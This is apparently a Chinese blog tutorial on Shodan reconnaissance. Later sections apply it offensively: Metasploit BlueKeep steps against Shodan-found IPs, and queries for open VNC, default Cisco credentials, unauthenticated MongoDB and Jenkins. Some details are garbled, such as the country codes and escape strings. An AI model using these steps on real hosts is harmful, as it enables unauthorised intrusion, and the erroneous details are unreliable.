网络安全——信息收集之利器Shodan的使用

澜世 2024-11-17 13:45:47

网络搜索引擎Shodan

Metasploit (msfconsole) 介绍

声明：学习视频来自b站up主泷羽sec，如涉及侵权马上删除文章

声明：本文主要用作技术分享，所有内容仅供参考。任何使用或依赖于本文信息所造成的法律后果均与本人无关。请读者自行判断风险，并遵循相关法律法规。

网络搜索引擎Shodan

优缺点：不够实时、非开源、方便、快速、便宜

一、Shodan的功能

搜索网络设备

通过IP地址、端口号、国家、城市、服务协议等条件搜索网络设备。

漏洞扫描

搜索存在特定漏洞的设备。

开放端口分析

分析设备的开放端口，识别潜在风险。

网络地图和报告

提供详细可视化报告和地图，直观了解网络安全情况。

Shodan的工作原理

Shodan的工作方式主要通过以下步骤：

（1）自动扫描：Shodan不停地扫描全球网络的IP地址，对不同地图的IP段、不同功能端口进行扫描。

（2）收集信息：Shodan ，的服务信息，包括开放端口、操作系统版本、服务类型、SSL 证书等。

（3）建立数据库：将获取的信息整理成一个数据库，供用户通过关键词搜索特定类型的设备、网络漏洞和开放端口等。

功能：

在线查询功能，和离线的客户端，monitor(监控)可以监控一些IP地址，它会帮我去扫描有什么漏洞有什么bug等，然后保存一些结果给我们，api接口调用，主要就是用于信息收集的。

二、安装Shodan

克隆Shodan库：

git clone https://github.com/achillean/shodan-python.git

切换到shodan-python文件夹：
```
cd shodan-python
```
安装：
```
python setup.py install
```
初始化Shodan：
```
shodan init [api_key]（自己的KEY）
```
在Shodan 网站（Shodan Search Engine）注册并获取API Key。

查看使用帮助文档：shodan -h

确保使用的是Python 3，并确认已经安装。获取Shodan API KEY：Shodan官网

国家代码

地区	国家	国家代码
北美
	加拿大	CA
	美国	US
欧洲
	奥地利	AT
	比利时	BE
	捷克共和国	CZ
	丹麦	DK
	芬兰	FI
	法国	FR
	德国	DE
	爱尔兰	IE
	意大利	IT
	荷兰	NL
	挪威	NO
	波兰	PL
	葡萄牙	PT
	斯洛伐克	SK
	西班牙	ES
	瑞典	SE
	瑞士	CH
	英国	GB
亚太地区
	澳大利亚	AU
	日本	JP
	韩国	KO
	俄国	RU
	中国	CN

三、Shodan命令

search基本操作符

title:：搜索网页标题中包含特定字符串的设备。
html:：搜索HTML内容中包含特定字符串的设备。
has_vuln:：搜索存在特定漏洞的设备。
hostname：：指定按照主机名进行搜索。
ip：指定按照IP地址进行搜索。
--fields：过滤信息，只显示。如：--fields ip_str,port:3380：只显示打开3389端口的IP
ip_str：：IPV4地址
port：：指定按照端口进行搜索，如：port:3389
country：：指定按照国家进行搜索，如：country:cn
city：：指定按照城市进行搜索，如：city:shenzhen
org：：指定按照组织进行搜索。
isp：：指定按照ISP进行搜索。
product：：指定按照特定产品进行搜索。
version：：指定按照软件版本进行搜索。
geo：：指定按照地理位置进行搜索。
before：：指定在某个时间点之前的数据。
after：：指定在某个时间点之后的数据。
net：：指定进行子网搜索。
fuzzy：：模糊搜索。
--limit 10：：显示信息数量，10个
--coloer：：深色表示（标红）
os：：操作系统，如 os:windows7，显示win7
device:webcam ：：设备：摄像头
device:router：：设备：路由器
tp-link ：：web端的一些设备

(一) 基本用法

搜索：

shodan search <查询字符串> <参数>

例如：

shodan search --limit 10 country:jp

查询特定IP：

shodan host IP地址 <参数>

例如：

shodan host 217.122.163.23 --history

下载搜索结果：

shodan download 文件名 <查询字符串> <参数>

例如：

shodan download “apache” apache --limit 10

解析下载结果：

shodan parse <文件> <参数> > <文件>

例如：

shodan parse apache.json.gz --fields ip_str,port,org > apache.txt

扫描IP：

shodan scan <参数>

例如：

shodan scan submit 192.168.1.1

查询数据条数：

shodan count <查询字符串> <参数>

例如：

shodan count “apache” apache

判断IP是否存在密罐模块：
```
shodan honeyscore IP地址
```
查看当前出口IP：
```
shodan myip
```
查看搜索次数：
```
shodan info
```

查询域名信息：

shodan domain 域名

例如：

shodan domain www.baidu.com

信息统计：

shodan stats <查询字符串> <参数>

例如：

shodan stats --facets ssl.version country:cn has_ssl:true

(二) search的查询内容

国家：

country:<国家代码>

例如：

shodan search apache country:jp

城市：

city:<城市名称>

例如：

shodan search city:liaoning

端口：
```
port:<端口号>
```
例如：
```
shodan search port:3389
```

操作系统：

os:<操作系统>

例如：

shodan search os:windows7

设备：

device:<设备>

例如：

shodan search device:webcam

是否存在漏洞：

has_vuln:True

例如：

shodan search os:windows7 has_vuln:True

域名：

hostname:“<域名>”

例如：

shodan search hostname:“xxx.com”

网段：

net:<网段>

例如：

shodan search net:213.237.14.0/25

标题|内容：

http.[title|html]:“<字符串>”

例如：

shodan search http.title:“你好”

产品：

product:“<产品>”

例如：

shodan search product:“Microsoft IIS”

(三) host的查询内容

用法：
```
shodan host <IP地址>
```
反馈信息：
- Hostnames：域名
- City：城市
- Country：国家
- Organization：组织
- Updated：更新时间
- Number of open ports：端口数
- Vulnerabilities：漏洞的CVE编号
- Ports：端口和服务

（四）host的参数

查询过往信息：
```
--history
```

四、download和parse

download:下载，保存扫描文件，JSON格式存储，默认1000条结果，可以通过修改--limit参数调整保存条数。

Shodan download 0708 --limit 10 '"/x03/x00/x00/x0b/x06/xd0/x00/x00/x124/x00"'

parse:下载，保存扫描文件，JSON格式存储，默认1000条结果，可以通过修改--limit参数调整保存条数。

shodan parse --fields ip_str,port ,[文件名].json.gz

五、工具的使用

(一) rdesktop的使用

用法：
```
rdesktop [选项] 主机名或IP地址
```
- -u：指定用户名。
- -p：指定密码。
- -f：全屏模式。
- -g：指定屏幕分辨率。
- -a：指定连接的颜色深度。
- -N：禁用窗口管理器装饰。
- -T：设置窗口标题。
- -r：指定要重定向的设备。
Metasploit (msfconsole) 介绍

定义
- Metasploit是一款开源安全漏洞检测工具，附带数百个已知软件漏洞，并保持频繁更新。
功能模块
- msfconsole：命令行界面，用于漏洞利用。
- msfweb：Web界面，用于漏洞利用。
- msfupdate：用于软件更新，建议使用前先进行更新。

六、使用msfconsole进行漏洞验证

1. 进入msfconsole

bash

msfconsole

2. 搜索漏洞

bash

search 0708

搜索关键词“0708”，找到相关漏洞。

3. 选择漏洞模块

bash

use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

选择“exploit/windows/rdp/cve_2019_0708_bluekeep_rce”模块，这是通过搜索0708找到的模块名。

4. 查看所需参数

bash

show options

查看漏洞利用所需的参数配置。

5. 设置目标IP并运行

bash

set rhosts file:[拖进文件]

将包含目标IP的文件拖入命令行，设置目标主机。
带星号的表示利用不成功。

七、shodan命令

COUNT：统计信息

shodan count '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"'
HONEYSCORE：检测是否有蜜罐

1.通过命令检测（不一定成功）

2.使用shodanweb页面的honeyscore功能：https://honeyscore.shodan.io/进行扫描

HISTORY：查询端口开放历史

shodan host [ip] --history
SERCH找VNC漏洞

VNC：VNC(Virtual Network Console)是虚拟网络控制台的缩写。它是一款远程控制工具软件。VNC支持多种操作系统，包括 Windows 、 macOS 和Linux。

查找VNC空密码连接：

shodan search --limit 10 --fields ip_str country:jp "authentication disabled" port:5900

“Authentication disabled” ：表示某种身份验证功能已被禁用。

port:5900 ：VNC的默认端口

八、search命令查找被黑过的网站

shodan search --limit 10 --fields ip_str,port http.title:hacked by

title：标题

可以搜些title关键字的网站，比如管理员、后台、MySQL等等这种关键字眼。

可以精确位置：

shodan search --limit 10 --fields ip_str,port http.title:hacked by country:jp city:dongjing

九、利用search命令查找弱口令设备

shodan search --limit 10 --fields ip_str,port "cisco -authored port:23"

-authored：含有弱口令

弱口令：Username:admin/cisco Password:cisco

十、利用search命令搜索网段

用美国安全局的网段测试一下

1.首先，用谷歌搜素出nsa相关网段

nsa ip address range

2.搜索到后利用shodan进行搜索

shodan search --limit 10 --fields ip_str,port net:208.88.84.0/24

net:208.88.84.0/24：这是一个搜索过滤器，指定了要搜索的IP地址范围。208.88.84.0/24表示搜索的IP地址范围是从208.88.84.0到208.88.84.255（/24表示这是一个C类网络，即24位网络前缀）。这个范围内的所有IP地址都会被考虑在内。

3.搜索相关的组织

shodan search --limit 10 --fields ip_str,port org:nsa.gov

使用这条命令，我们可能什么也搜索不出来，毕竟shodan就是老美他们的

搜索一些有waf安全狗的ip

shodan search --limit 10 --fields ip_str,port country:jp http.waf:safedog

MongoDB案例

shodan search --limit 10 --fields ip_str,port "Mongodb server information -authentication" port:27017 country:jp > jpmongodb.txt

Jenkins搜索案例

shodan search --limit 10 --fields ip_str,port "X-Jenkins" OR "Set-Cookie:JSESSIONID" http.title:"Dashboard" > jenkins.txt

Jenkins的作用

一、自动化构建与部署能自动从代码仓库获取代码并进行编译、打包等构建操。

可以把构建好的成果自动部署到不同环境中。

二、自动化测试自动运行各种测试，如单元测试、集成测试等。三、任务管理可设置定时任务，按特定时间自动执行工作。能管理任务间的依赖美系。蓝控任务状态，失败时通知相关人员。四、可扩展定制有很多插件可满足不同露求，也能自行开发播件。自动测试，自动上线，自动回滚。

在渗透测试过程中的辅助作用自动化测试:Jenkins 可以用于自动化渗透测试过程中的一些任务，如漏洞扫描、安全测试等通过编写 Jonkins任务，可以定期对目标系统进行安全测试，提高测试效率和覆盖范围。持续集成与持续部署(CI/0D);在一些企业中，Jenkins被用于 CI/CD 流程中。渗透测试人员可以利用Jenkins 的 CI/CD 流程，在开发和部署过程中进行安全测及时发现和修复安全问题。

漏洞管理：jenkins 可以与漏洞管理工具集成，帮助企业管理和跟踪安全漏洞。渗透测试人员可以利用Jenkins的漏洞管理功能，了解目标系统中存在的安全漏洞，并制定相应的攻击策略。

总之，Jenkins 在渗透测试中既可能是攻击目标，也可以作为辅助工具。渗透测试人员需要了解 Jenkins 的安全风险和漏洞，以及如何利用 Jenkins 来提高渗透测试的效率和效果。同时，企业也需要加强 Jenkins 的安全配置和管理以防止被攻击者利用。